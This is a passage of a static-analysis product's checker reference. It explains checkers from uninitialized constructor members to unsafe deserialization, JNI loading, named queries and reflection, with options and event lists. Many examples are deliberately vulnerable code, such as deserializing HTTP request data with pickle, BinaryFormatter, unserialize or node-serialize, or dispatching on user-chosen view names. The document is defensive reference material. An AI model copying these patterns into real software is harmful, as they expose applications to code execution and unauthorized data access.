UNINIT_CTOR:report_scalar_arrays:false
The preceding options are specific to this checker; they do not affect global analysis options or other checkers.
To enable these options, use the following analysis option:
--checker-option UNINIT_CTOR:<option>
This section describes one or more events produced by the UNINIT_CTOR checker.
member_not_init_in_gen_ctor - The compiler will generate a
constructor for this class, but that generated constructor will not initialize
these "plain old data" (POD) fields. See an example that produces this event in
Section 4.218.2, “Examples”.
uninit_member - A class member or member field is
uninitialized along this path in the constructor. The event occurs at the end of
the path in the constructor. If a particular variable is always initialized
before use (perhaps, outside the constructor), suppress this event to indicate
that the declaration site is not a declaration of a potentially uninitialized
member. Suppressing this event is the most severe suppression method. You will
never receive an error if this member is uninitialized in any constructor for
the class.
member_decl - A class member has been uninitialized along a
path in the constructor. If the particular path in question does contain an
initialization, or the lack of initialization reliably deemed to be benign
(perhaps, due to correctly initializing it before being used outside the
constructor), the appropriate fix is to suppress this event.
Supported Languages: JavaScript
UNINTENDED_GLOBAL finds assignments to implicitly created global variables where an explicitly declared local variable was likely intended.
Enabled by default: UNINTENDED_GLOBAL is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more UNINTENDED_GLOBAL examples.
The following example assigns "something" to local variable
x and to global variable y. It is likely that the intent
was to declare two local variables: x and y.
function assignVars() {
var x = y = "something"; //Defect
}Supported Languages: C, C++, C#, Java, Objective-C, Objective-C++, and Scala
UNINTENDED_INTEGER_DIVISION detects code with an unexpected loss of arithmetic
precision due to the use of integer division where floating-point division is probably
intended. According to the language rules of C, C++, C#, Java, and Scala, dividing two
values of integer types (long, unsigned, and so on) computes
the quotient as an integer (integer division), in effect, rounding toward zero or
ignoring any remainder. Integer division is suspicious when it occurs in a context that
expects a floating-point value because the programmer might have been expecting to
represent non-integer quotients. The checker reports a defect when it finds this pattern
along with at least one other indication that a fractional quotient was probably
intended.
Enabled by default: UNINTENDED_INTEGER_DIVISION is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more UNINTENDED_INTEGER_DIVISION examples.
// Sets PI_APPROX to 3.0! double PI_APPROX = 22 / 7; // Defect here.
// Rounds toward zero (and adds 1 to negative results)!
int roundedAverage(int a, int b) {
return (int)(0.5 + ((a + b) / 2)); // Defect here.
}This section describes one or more events produced by the UNINTENDED_INTEGER_DIVISION checker.
UNKNOWN_LANGUAGE_INJECTION finds unknown language injection vulnerabilities, which arise when uncontrolled dynamic data is passed into an API that creates grammars for languages through parsing or tokenization. An example is the ANTLR API. When injected data is inserted into the grammar construction itself, the data might change the intent of the grammar, potentially resulting in unauthorized access to, or disclosure of, information.
Disabled by default: UNKNOWN_LANGUAGE_INJECTION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable UNKNOWN_LANGUAGE_INJECTION
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more UNKNOWN_LANGUAGE_INJECTION examples.
using System.Web;
using Antlr4.Runtime;
public class UnknownLanguageInjection {
void example(HttpRequest req)
{
string tainted_data = req["SomeParameter"];
var antlr_is = new AntlrInputStream(tainted_data); // Defect here
// Lex and parse input stream
SearchLexer lexer = new SearchLexer(antlr_is);
CommonTokenStream commonTokenStream = new CommonTokenStream(lexer);
SearchParser parser = new SearchParser(commonTokenStream);
// Parse and consume result...
}
}In the following example, the tainted parameter texte is passed to
the method parse. It goes through a couple of transformations such as
HTML encoding. The value is then passed
ANTLRStringStream.<init>, which is a sink for this
checker.
public String parse(String texte) throws EdlCodeEncodageException{
texte = this.remplaceSmiley(texte, getContextPath());
texte = this.replaceBigadin(texte);
texte = HtmlEncoder.encode(texte);
texte = this.remplaceCaractereHTML(texte);
EdlCodeLexer lexer = new EdlCodeLexer(new ANTLRStringStream(texte));
...
}An attacker can specify arbitrary values, which might influence how tokenization and parsing occur. However, if the intent of the parser is to parse tainted data, a defect report on code such that shown in the example, should be triaged as intentional in Coverity Connect.
This section describes one or more events produced by the UNKNOWN_LANGUAGE_INJECTION checker.
sink - (main event) Identifies the location where tainted
data reaches a sink.
remediation - Provides information about addressing the
security vulnerability.
Dataflow events
member_init - Creating an instance of a class using tainted data
initializes a member of that class with tainted data.
object_construction - Creating an instance of a class using tainted
data.
subclass - Creating an instance of a class to use as a
superclass.
taint_alias - A tainted object is aliased.
taint_path - A tainted value has been assigned to a local
variable.
taint_path_arg - A tainted value has been used as an argument to a
method.
taint_path_attr - [Java only] A tainted value has been stored as a
Web application attribute that has page, request, session, or application scope.
taint_path_call - This method call returns a tainted value.
taint_path_field - A tainted value has been assigned to a
field.
taint_path_map_read - A tainted value is read from a map.
taint_path_map_write - A tainted value is written to a map.
taint_path_param - A caller passes a tainted argument to this method
parameter.
taint_path_return - The current method returns a tainted
value.
tainted_source - The method from which a tainted value
originates.
Supported Languages: C#, Java, Visual Basic
The UNLOGGED_SECURITY_EXCEPTION checker reports security exceptions that are caught but not logged.
The checker recognizes many exception types that have security implications; for example, authentication failures, CSRF token validation issues, SQL syntax errors, missing permissions, and more. You can also customize the checker to recognize application-specific exceptions.
Monitoring and timely response to attacks are essential to limiting their severity and scale. Sufficient logging helps with the response by providing notification and a history of security events.
Disabled by default: UNLOGGED_SECURITY_EXCEPTION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
The main event of an UNLOGGED_SECURITY_EXCEPTION defect is a caught security exception. The checker shows an execution path where the exception goes out of scope without any logging.
This section provides one or more UNLOGGED_SECURITY_EXCEPTION examples.
The following method catches a security-related exception, but does not log this event. The checker will report a defect in the catch block.
void SecurityExceptionHappens() {
try {
// ...
}
catch (SecurityException e) {
// do something, but don't log
}
}Logging the security exception will fix the issue:
java.util.logging.Logger logger;
void SecurityExceptionHappens() {
try {
// do something
}
catch (SecurityException e) {
logger.warning("[Security] Exception: " + e.toString());
// continue handling exception
}
}The following method catches a security-related exception, but it does not log this event. The checker will report a defect in the catch block.
void SecurityExceptionHappens() {
try {
// do something
}
catch (AuthorizationFailedException e) {
// do something, but don't log
}
}This section describes one or more UNLOGGED_SECURITY_EXCEPTION options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
UNLOGGED_SECURITY_EXCEPTION:security_exceptions:<classes> - [All
languages] This option lists fully-qualified class names of additional security
exceptions that must be logged. One or more values are permitted, either as
multiple options or as a comma-separated list.
This section describes one or more events produced by the UNLOGGED_SECURITY_EXCEPTION checker.
end_of_catch - Indicates the end of the corresponding catch
block that didn't have any logging inside.
exit_from_catch - Indicates the early exit from the catch
block (that is, the return statement) without prior logging.
security_exception - Indicates the beginning of the catch
block handling a security exception.
Supported Languages: C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP, Python, Ruby, Scala, and Visual Basic
UNREACHABLE reports many instances in which the control flow cannot reach certain areas of the code base. Unlike the DEADCODE checker, which finds code that can never be reached because of branches whose condition will always evaluate the same way, the UNREACHABLE checker finds code that can never be reached regardless of the values of condition expressions.
C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP, Python, Ruby, Scala, and Visual Basic
Enabled by default: UNREACHABLE is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
For C/C++ and C#, UNREACHABLE defects often occur because of missing braces,
which results in unreachable code after break, continue,
goto or return statements. This checker does not
report defects if the unreachable code is a return or
break statement.
Note that many C/C++ and C# compilers will generate a warning for unreachable code, not an error. Code is often made unreachable in the process of debugging, with the intention of fixing it later. When code is unintentionally left in that state, this checker will produce a defect.
For Java and Scala, unreachable expressions can be found in the increment of a
for loop, or the condition of a do-while loop if
break or return statements force the loop to only
execute once.
For Java and Scala, UNREACHABLE does not report unreachable Java statements because the Java compiler disallows them. Such statements have to be fixed for the compilation to be successful.
For JavaScript and PHP, the checker reports statements after break,
continue, or return statements and also in loop
increments that can never be reached, similar to the C, C++, and C# versions of the
checker.
In JavaScript, this checker also finds defects that are caused by a misunderstanding of Automatic Semicolon Insertion. See an example in Section 4.223.2.6, “JavaScript”.
This section provides one or more UNREACHABLE examples.
In the following example, braces for the if statement are missing, so
the function always returns -1, and the statement
use_p(*p); is never reached. The example contains block comments
where the developer probably intended to put braces.
int unreachable_example (int *p) {
if( p == NULL ) /*{*/
handle_error();
return -1;
/*}*/
use_p( *p ); //An UNREACHABLE defect here.
return 0;
}In the following example, braces for the if statement are missing, so
i++ is unreachable after the break statement. Here,
the developer probably intended to include the braces that are surrounded by block
comments in the example.
int unreachable_example2 (int array[10]) {
int i;
int value = -1;
for( i = 0; i < 10; i++ ) { //An UNREACHABLE defect here:
// Increment is unreachable. Array
// not properly searched because the break
// statement is executed on the first iteration.
if( array[i] > 100 ) /*{*/
value = array[i];
break;
/*}*/
}
return value;
}In the following example, the HasDefect() methods contain unreachable
code. The associated NoDefect() methods contain similar code that
illustrates what the author might have intended.
public interface SomeIface {
void DoWork();
void DoSomeOtherWork();
void DoEvenMoreWork();
}
public class Unreachable {
public void HasDefect(SomeIface iface, bool cond) {
if(cond) {
iface.DoWork();
}
return;
iface.DoSomeOtherWork(); //An UNREACHABLE defect here.
}
public void NoDefect(SomeIface iface, bool cond) {
if(cond) {
iface.DoWork();
return;
}
iface.DoSomeOtherWork(); //No UNREACHABLE defect here.
}
public void HasDefect2(SomeIface iface, int threshold) {
for(int i = 0; i < 10; i++) {
if(i < threshold) {
iface.DoWork();
continue;
} else {
iface.DoSomeOtherWork();
break;
}
iface.DoEvenMoreWork(); //An UNREACHABLE defect here.
}
}
public void NoDefect2(SomeIface iface, int threshold) {
for(int i = 0; i < 10; i++) {
if(i < threshold) {
iface.DoWork();
continue;
} else {
iface.DoSomeOtherWork();
break;
}
}
iface.DoEvenMoreWork(); //No UNREACHABLE defect here.
}
public void HasDefect3(SomeIface iface, int threshold) {
for(int i = 0; i < 10; i++) { //An UNREACHABLE defect here.
if(i < threshold) {
iface.DoWork();
} else {
iface.DoSomeOtherWork();
}
break;
}
}
public void NoDefect3(SomeIface iface, int threshold) {
for(int i = 0; i < 10; i++) { //No UNREACHABLE defect here.
if(i < threshold) {
iface.DoWork();
} else {
iface.DoSomeOtherWork();
break;
}
}
}
}In the following example, the HasDefect() methods contain unreachable code.
The associated NoDefect() methods contain similar code that illustrates what
the author might have intended.
Interface SomeIface
Sub DoWork()
Sub DoSomeOtherWork()
Sub DoEvenMoreWork()
End Interface
Class Unreachable
Sub HasDefect(iface As SomeIface, cond As Boolean)
If cond Then
iface.DoWork()
End If
Return
iface.DoSomeOtherWork() ' This statement is unreachable, because the method unconditionally returns on the previous line
End Sub
Sub NoDefect(iface As SomeIface, cond As Boolean)
If cond Then
iface.DoWork()
Return
End If
iface.DoSomeOtherWork() ' No defect, because the 'Return' statement is conditional
End Sub
Sub HasDefect2(iface As SomeIface, threshold As Integer)
For i As Integer = 0 To 9
If i < threshold Then
iface.DoWork()
Continue For
Else
iface.DoSomeOtherWork()
Exit For
End If
iface.DoEvenMoreWork() ' This statement is unreachable, because both branches of the previous 'If' statement transfer control elsewhere
Next
End Sub
End ClassIn the following example, the array is not searched properly because the
break statement is executed on the first iteration.
int unreachable_example (int[] array) {
int value = -1;
for(int i = 0; i < array.length; i++ ) { //An UNREACHABLE defect here.
if( array[i] > 100 ) //{
value = array[i];
break;
//}
}
return value;
}In the following example, both branches of the if statement end
with a return statement. Therefore, the following return doWork() line will never be executed,
regardless of the outcome of the condition cond.
def unreachable(cond : Boolean) : Int = {
if (cond) {
return 1
} else {
return 2
}
return doWork() // Defect here.
}The following example demonstrates a misunderstanding of Automatic Semicolon
Insertion in JavaScript, where a semicolon is automatically inserted after the
return token, causing the array to be unreachable, with the method
returning undefined. This issue occurs because a new line is not allowed between the
return token and the expression it returns.
function getDaysOfWeek() {
return
["Sunday",
"Monday",
"Tuesday",
"Wednesday",
"Thursday",
"Friday",
"Saturday"] // Defect.
}function unreachable($cond) {
if($cond) {
doWork();
}
return;
doSomeOtherWork(); // Defect here.
}def unreachable(threshold):
for i in range(0, 10):
if(i < threshold):
doWork()
continue
else:
doSomeOtherWork()
break
doEvenMoreWork() # Defect here.This section describes one or more UNREACHABLE options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
UNREACHABLE:report_unreachable_empty_increment:<boolean>
- This option reports a defect when a loop
increment is both empty and unreachable, and the loop body does not execute more
than once. Defaults to
UNREACHABLE:report_unreachable_empty_increment:true
(for C, C++, Objective-C, Objective-C++). Defaults to
UNREACHABLE:report_unreachable_empty_increment:false
(for C#, Java, and JavaScript).
The following example produces a UNREACHABLE defect if this option is set
to true:
for(int i = 0; i < 0; )
{
break;
}UNREACHABLE:report_unreachable_empty_increment is set to true
(enabled) for C# and Java when cov-analyze --aggressiveness-level
medium.
UNREACHABLE:report_unreachable_in_macro:<boolean> -
This option reports a defect when a code block
is unreachable due to a macro expansion. Defaults to
UNREACHABLE:report_unreachable_in_macro:false (for C
and C++ only).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
UNRESTRICTED_ACCESS_TO_FILE
finds cases where an application creates a file on its storage but does not apply access
control to the file. Each Android application has a designated internal storage area
which, by default, only the application can access. By explicitly setting the mode to
MODE_WORLD_WRITEABLE or MODE_WORLD_READABLE, the
application can create files on its internal storage that are accessible to other
applications. Applications can also access external storage (for example, an SD card)
that is globally readable and writable. Because there is no way to control access to
external storage, applications should never store sensitive information on external
storage.
There might be legitimate reasons for storing files externally. This checker does not try to determine if the data stored in the file is sensitive. It is an audit checker that requires the programmer to inspect publicly accessible file instances and decide whether such access is appropriate.
Disabled by default: UNRESTRICTED_ACCESS_TO_FILE is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Android security checker enablement: To enable UNRESTRICTED_ACCESS_TO_FILE
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
An UNRESTRICTED_ACCESS_TO_FILE defect shows how a file with no access restrictions is created on
storage. If a file is created with MODE_WORLD_READABLE or
MODE_WORLD_WRITEABLE options, the defect will point to the API call
that creates the file using these options. A file can also be created on storage with no
access restrictions if the absolute path of the file points to external storage. In this
case, the UNRESTRICTED_ACCESS_TO_FILE defect will show an execution path in which a path to external
storage is constructed and passed to an API that creates a file at that location. The
path may start with a constant string such as /sdcard/ that points to
external storage. From there, the events in the defect show how the path flows through
the program, for example, from the argument of a function call to the parameter of the
called function, or by appending more subdirectories to the path string. The final part
of the dataflow path shows the path to external storage used in an API that constructs a
file. Malicious applications can then access any sensitive data stored in this
file.
This section provides one or more UNRESTRICTED_ACCESS_TO_FILE examples.
This simple example yields a defect report:
SQLiteDatabase db = context.openOrCreateDatabase("secret.db",
MODE_WORLD_READABLE,
factory,
errorHandler);Because the file permission is set to MODE_WORLD_READABLE, any
application will be able to read data from this database.
This section describes one or more UNRESTRICTED_ACCESS_TO_FILE options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
UNRESTRICTED_ACCESS_TO_FILE:api_level:<number> - This option specifies the Android API level that the
application targets. For API levels less than or equal to 15, the
SQLiteDatabase.openOrCreateDatabase and
SQLiteDatabase.openDatabase implementations will always create
a world-readable database. Therefore, if the value of this option is less than
or equal to 15, UNRESTRICTED_ACCESS_TO_FILE will always report a defect when
SQLiteDatabase.openOrCreateDatabase is called and when
SQLiteDatabase.openDatabase is called with the flag
SQLiteDatabase.CREATE_IF_NECESSARY. Defaults to UNRESTRICTED_ACCESS_TO_FILE:api_level:15
Supported Languages: C#, Java, Visual Basic
UNRESTRICTED_DISPATCH finds unrestricted dispatch vulnerabilities, which arise when uncontrolled dynamic data is passed into view dispatch method. The value passed to the dispatch method controls what view is rendered or what content is returned. This security vulnerability might allow an attacker to bypass security checks or obtain unauthorized data by potentially accessing access-controlled content through another unprotected entry point.
Disabled by default: UNRESTRICTED_DISPATCH is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable UNRESTRICTED_DISPATCH
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more UNRESTRICTED_DISPATCH examples.
In the following example, the HTTP request parameter errorUrl is
obtained, then passed to the servlet dispatcher through the sink
ServletRequest.getRequestDispatcher.
String errorUrl = request.getParameter("errorUrl");
if (errorUrl == null || errorUrl.equals(""))
throw new ServletException("Missing error URL page");
try {
RequestDispatcher dispatch = request.getRequestDispatcher(errorUrl);
this.getRequest().setAttribute("error", e);
dispatch.include(this.getRequest(), this.getResponse());
...An attacker can specify an arbitrary servlet or JSP name through the
errorUrl parameter. In this case, the contents of the servlet
response would be included in the composition of the current page with the
defect.
using System.Web.Mvc;
namespace MyWebapp {
class HomeController : Controller {
protected ActionResult RenderView()
{
return View(Request["view_name"]);
}
}
}This section describes one or more events produced by the UNRESTRICTED_DISPATCH checker.
sink - (main event) Identifies the location where tainted
data reaches a sink.
remediation - Provides information about addressing the
security vulnerability.
Dataflow events
member_init - Creating an instance of a class using tainted data
initializes a member of that class with tainted data.
object_construction - Creating an instance of a class using tainted
data.
subclass - Creating an instance of a class to use as a
superclass.
taint_alias - A tainted object is aliased.
taint_path - A tainted value has been assigned to a local
variable.
taint_path_arg - A tainted value has been used as an argument to a
method.
taint_path_attr - [Java only] A tainted value has been stored as a
Web application attribute that has page, request, session, or application scope.
taint_path_call - This method call returns a tainted value.
taint_path_field - A tainted value has been assigned to a
field.
taint_path_map_read - A tainted value is read from a map.
taint_path_map_write - A tainted value is written to a map.
taint_path_param - A caller passes a tainted argument to this method
parameter.
taint_path_return - The current method returns a tainted
value.
tainted_source - The method from which a tainted value
originates.
Supported Languages: JavaScript only
UNRESTRICTED_MESSAGE_TARGET reports a defect in code that sends cross-origin window messages without restricting the origin that can receive it. Such code might allow a malicious site to intercept the message by changing the location of the window.
Disabled by default: UNRESTRICTED_MESSAGE_TARGET is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
An UNRESTRICTED_MESSAGE_TARGET defect shows a call to the function
window.postMessage with a targetOrigin argument of
"*", rather than an exact URI value.
This section provides one or more UNRESTRICTED_MESSAGE_TARGET examples.
// Defect example:
function unrestricted_postMessage(message) {
window.postMessage(message, "*");
}
// Good example:
function restricted_postMessage(message) {
window.postMessage(message, "http://example.com");
}Supported Languages: C#, Java, PHP, Python, Visual Basic, JavaScript
UNSAFE_DESERIALIZATION finds unsafe deserialization injection vulnerabilities, which arise when uncontrolled dynamic data is used within an API that can deserialize or unmarshall an object. This security vulnerability might allow an attacker to bypass security checks or to execute arbitrary code.
Disabled by default: UNSAFE_DESERIALIZATION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable UNSAFE_DESERIALIZATION
along with other Web application checkers,
use the --webapp-security
option.
Android security checker enablement: To enable UNSAFE_DESERIALIZATION
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
Python support: Security checkers are supported for Python 2.7.x only.
This section provides one or more UNSAFE_DESERIALIZATION examples.
using System;
using System.IO;
using System.Web;
using System.Runtime.Serialization.Formatters.Binary;
public class UnsafeDeserialization
{
public T DeserializeUserDataUnsafely<T>(HttpRequest request, string key)
{
// Take some user-supplied (potentially attacker supplied) data and
// deserialize it. Just simply deserializing data can cause other
// code to be executed (e.g. deserialization routines, callbacks, etc).
string strData = request[key];
byte[] rawData = Convert.FromBase64String(strData);
Stream streamData = new MemoryStream(rawData);
BinaryFormatter deserializer = new BinaryFormatter();
return (T)deserializer.Deserialize(streamData);
}
}In the following example, the method passes in the HTTP request input stream to
the ObjectInputStream constructor, which is a deserialization
API.
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException
{
HttpServletRequest httpRequest = (HttpServletRequest) request;
Principal user = httpRequest.getUserPrincipal();
if ( user == null && this.readOnlyContext != null )
{
ServletInputStream sis = request.getInputStream();
Runnable action = null;
try (ObjectInputStream ois = new ObjectInputStream(sis)) {
// Deserialize a data object that also
// implements java.lang.Runnable.
action = (Runnable)ois.readObject();
}
catch (ClassNotFoundException e) {
throw new ServletException("Error");
}
action.run();
}
}An attacker who can reach this conditional could provide an arbitrary object instance in the HTTP request. The only limitation on the attacker is that the class is within the class path of the application.
In the following example, untrusted data from an HTTP request is passed to the unserialize function.
<?php $user_info = $_REQUEST['user_info']; unserialize($user_info); // Defect here ?>
The following Django fragment uses pickle.loads to deserialize the body of an HTTP request.
import pickle
from django.conf.urls import url
def django_view(request):
pickle.loads(request.body);
urlpatterns = [
url(r'index', django_view)The following example shows the unsafe deserialization of user data:
Imports System
Imports System.IO
Imports System.Web
Imports System.Runtime.Serialization.Formatters.Binary
Public Class UnsafeDeserialization
Public Function DeserializeUserDataUnsafely(Of T)(ByVal request As HttpRequest, ByVal key As String) As T
'Take some user-supplied (potentially attacker supplied) data and
'deserialize it. Just simply deserializing data can cause other
'code to be exectued (e.g. deserialization routines, callbacks, etc).
Dim strData As String = request(key)
Dim rawData As Byte() = Convert.FromBase64String(strData)
Dim streamData As Stream = New MemoryStream(rawData)
Dim deserializer As BinaryFormatter = New BinaryFormatter()
Return CType(deserializer.Deserialize(streamData), T)
End Function
End ClassIn the following example, an attacker could provide arbitrary input to the
deserialize call and eventually execute arbitrary code when that object's
displayString method is eventually invoked.
var express = require('express');
var app = express();
var s = require('node-serialize');
app.get('/summary', function(req, res) {
console.log(req.query.n);
s.deserialize(req.query.n);
res.sendStatus('Status:' + s.displayString());
});
app.listen(3000, function() {console.log('Listening ');});This section describes one or more UNSAFE_DESERIALIZATION options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
UNSAFE_DESERIALIZATION:distrust_all:<boolean> - [JavaScript and
PHP only] Setting this option to true is equivalent to setting all
trust_* checker options for this checker to false. Defaults to
UNSAFE_DESERIALIZATION:distrust_all:false.
This checker option is automatically set to true if the
UNSAFE_DESERIALIZATION:webapp-security-aggressiveness-level option
of the cov-analyze command is set to
high.
UNSAFE_DESERIALIZATION:trust_command_line:<boolean> -
[JavaScript and PHP only] Setting this option to
false causes the analysis to treat command line arguments as tainted.
Defaults to
UNSAFE_DESERIALIZATION:trust_command_line:true. Setting this
checker option will override the global --trust-command-line and
--distrust-command-line command line options.
UNSAFE_DESERIALIZATION:trust_console:<boolean> - [JavaScript
and PHP only] Setting this option to false causes
the analysis to treat data from the console as tainted. Defaults to
UNSAFE_DESERIALIZATION:trust_console:true. Setting
this checker option will override the global --trust-console and
--distrust-console command line options.
UNSAFE_DESERIALIZATION:trust_cookie:<boolean> - [JavaScript
and PHP only] Setting this option to false causes the analysis to treat data
from HTTP cookies as tainted. Defaults to
UNSAFE_DESERIALIZATION:trust_cookie:false. Setting
this checker option will override the global --trust-cookie and
--distrust-cookie command line options.
UNSAFE_DESERIALIZATION:trust_database:<boolean> -
[JavaScript and PHP only] Setting this option to false causes the analysis to
treat data from a database as tainted. Defaults to
UNSAFE_DESERIALIZATION:trust_database:true. Setting
this checker option will override the global --trust-database and
--distrust-database command line options.
UNSAFE_DESERIALIZATION:trust_environment:<boolean> -
[JavaScript and PHP only] Setting this option to false causes the analysis to
treat data from environment variables as tainted. Defaults to
UNSAFE_DESERIALIZATION:trust_environment:true. Setting this
checker option will override the global --trust-environment and
--distrust-environment command line options.
UNSAFE_DESERIALIZATION:trust_filesystem:<boolean> -
[JavaScript and PHP only] Setting this option to false causes the analysis to
treat data from the filesystem as tainted. Defaults
to UNSAFE_DESERIALIZATION:trust_filesystem:true. Setting
this checker option will override the global --trust-filesystem and
--distrust-filesystem command line options.
UNSAFE_DESERIALIZATION:trust_http:<boolean> - [JavaScript
and PHP only] Setting this option to false causes the analysis to treat data
from HTTP requests as tainted. Defaults to
UNSAFE_DESERIALIZATION:trust_http:false. Setting this
checker option will override the global --trust-http and
--distrust-http command line options.
UNSAFE_DESERIALIZATION:trust_http_header:<boolean> - [JavaScript
and PHP only] Setting this option to false causes the analysis to treat data
from HTTP headers as tainted. Defaults to
UNSAFE_DESERIALIZATION:trust_http_header:false.
Setting this checker option will override the global
--trust-http-header and --distrust-http-header
command line options.
UNSAFE_DESERIALIZATION:trust_network:<boolean> - [JavaScript
and PHP only] Setting this option to false causes the analysis to treat data
from the network as tainted. Defaults to
UNSAFE_DESERIALIZATION:trust_network:false. Setting
this checker option will override the global --trust-network and
--distrust-network command line options.
UNSAFE_DESERIALIZATION:trust_rpc:<boolean> - [JavaScript and
PHP only] Setting this option to false causes the analysis to treat data from
RPC requests as tainted. Defaults to
UNSAFE_DESERIALIZATION:trust_rpc:false. Setting this
checker option will override the global --trust-rpc and
--distrust-rpc command line options.
UNSAFE_DESERIALIZATION:trust_system_properties:<boolean> -
[JavaScript and PHP only] Setting this option to false causes the analysis to
treat data from system properties as tainted. Defaults to
UNSAFE_DESERIALIZATION:trust_system_properties:true.
Setting this checker option will override the global
--trust-system-properties and
--distrust-system-properties command line options.
This section describes one or more events produced by the UNSAFE_DESERIALIZATION checker.
sink - (main event) Identifies the location where tainted
data reaches a sink.
remediation - Provides information about addressing the
security vulnerability.
Dataflow events
member_init - Creating an instance of a class using tainted data
initializes a member of that class with tainted data.
object_construction - Creating an instance of a class using tainted
data.
subclass - Creating an instance of a class to use as a
superclass.
taint_alias - A tainted object is aliased.
taint_path - A tainted value has been assigned to a local
variable.
taint_path_arg - A tainted value has been used as an argument to a
method.
taint_path_attr - [Java only] A tainted value has been stored as a
Web application attribute that has page, request, session, or application scope.
taint_path_call - This method call returns a tainted value.
taint_path_field - A tainted value has been assigned to a
field.
taint_path_map_read - A tainted value is read from a map.
taint_path_map_write - A tainted value is written to a map.
taint_path_param - A caller passes a tainted argument to this method
parameter.
taint_path_return - The current method returns a tainted
value.
tainted_source - The method from which a tainted value
originates.
UNSAFE_JNI finds unsafe Java Native interface library injection vulnerabilities, which arise when uncontrolled dynamic data is used as a dynamic library path. This security vulnerability might allow an attacker to load an untrusted dynamic library and potentially execute unsafe code.
Disabled by default: UNSAFE_JNI is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable UNSAFE_JNI
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more UNSAFE_JNI examples.
In the following example, the method obtains
through the HTTP request parameter libraryName a native library name. This
library name is then passed to the JNI library method API method
java.lang.System.loadLibrary.
protected void loadLibrary(HttpServletRequest request, String libraryName)
throws ServletException
{
if (libraryName == null) {
libraryName = request.getParameter("libraryName");
}
try {
System.loadLibrary(libraryName);
//...
} catch (Exception e) {
throw new ServletException("Error loading " + libraryName);
}
}An attacker can pass in any library name to this method. This library might load in different implementations of native methods that are already loaded into the application. The loading of these methods might cause unforeseen side effects within the application.
This section describes one or more events produced by the UNSAFE_JNI checker.
sink - (main event) Identifies the location where tainted
data reaches a sink.
remediation - Provides information about addressing the
security vulnerability.
Dataflow events
member_init - Creating an instance of a class using tainted data
initializes a member of that class with tainted data.
object_construction - Creating an instance of a class using tainted
data.
subclass - Creating an instance of a class to use as a
superclass.
taint_alias - A tainted object is aliased.
taint_path - A tainted value has been assigned to a local
variable.
taint_path_arg - A tainted value has been used as an argument to a
method.
taint_path_attr - [Java only] A tainted value has been stored as a
Web application attribute that has page, request, session, or application scope.
taint_path_call - This method call returns a tainted value.
taint_path_field - A tainted value has been assigned to a
field.
taint_path_map_read - A tainted value is read from a map.
taint_path_map_write - A tainted value is written to a map.
taint_path_param - A caller passes a tainted argument to this method
parameter.
taint_path_return - The current method returns a tainted
value.
tainted_source - The method from which a tainted value
originates.
Supported Languages: C#, Java, Visual Basic
The UNSAFE_NAMED_QUERY checker reports cases where an untrusted string is used as a database query name.
Some database systems allow queries and commands to be stored and executed by name. If a malicious user has control over this name string, they might be able to execute an unintended command to alter program behavior or to expose sensitive data.
Unlike an SQL injection vulnerability, where an attacker can introduce arbitrary SQL syntax, exploiting this vulnerability is more limited. The attacker can misuse only the functionality that has been exposed as a pre-defined query.
Disabled by default: UNSAFE_NAMED_QUERY is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable UNSAFE_NAMED_QUERY
along with other Web application checkers,
use the --webapp-security
option.
The UNSAFE_NAMED_QUERY defect shows a dataflow path by which untrusted (tainted) data makes its way into a database query name.
This section provides one or more UNSAFE_NAMED_QUERY examples.
In the following example, a defect is reported for the
session.getNamedQuery call.
public void UnsafeNamedQueryCommand(
org.hibernate.Session session,
javax.servlet.http.HttpServletRequest request) throws Exception
{
String queryName = request.getParameter("query");
session.getNamedQuery(queryName);
}In the following example, a defect is reported for the
session.getNamedQuery call: the untrusted string is passed as a
query name. The previous statement executes an NHibernate query name
obtained from untrusted HTTP request data.
using System.Web;
using NHibernate;
public void RunWebQuery(HttpRequest request, ISession session)
{
IQuery query = session.GetNamedQuery(request["query"]);
// Set parameters and execute query
query.SetString("name", request["name"]);
var results = query.List<String>();
}In the following example, a defect is reported for the
session.getNamedQuery call.
Imports System.Web
Imports NHibernate
Public Class DatabaseManager
Private session As ISession
Public Function GetSavedQuery(ByVal queryId As String) as IQuery
return session.GetNamedQuery(request(queryId))
End Function
Public Sub UnsafeNamedQuery(request As HttpRequest)
Dim query As IQuery = GetSavedQuery("saved_query_" + request("id"))
End Sub
End ClassSupported Languages: Java, PHP
UNSAFE_REFLECTION finds unsafe reflection vulnerabilities, which arise when uncontrolled dynamic data is used as a class, method, or field/property name. This name is then passed to a reflection API. This security vulnerability might allow an attacker to bypass security checks, obtain unauthorized data, or execute arbitrary code.
Disabled by default: UNSAFE_REFLECTION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable UNSAFE_REFLECTION
along with other Web application checkers,
use the --webapp-security
option.
Android security checker enablement: To enable UNSAFE_REFLECTION
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
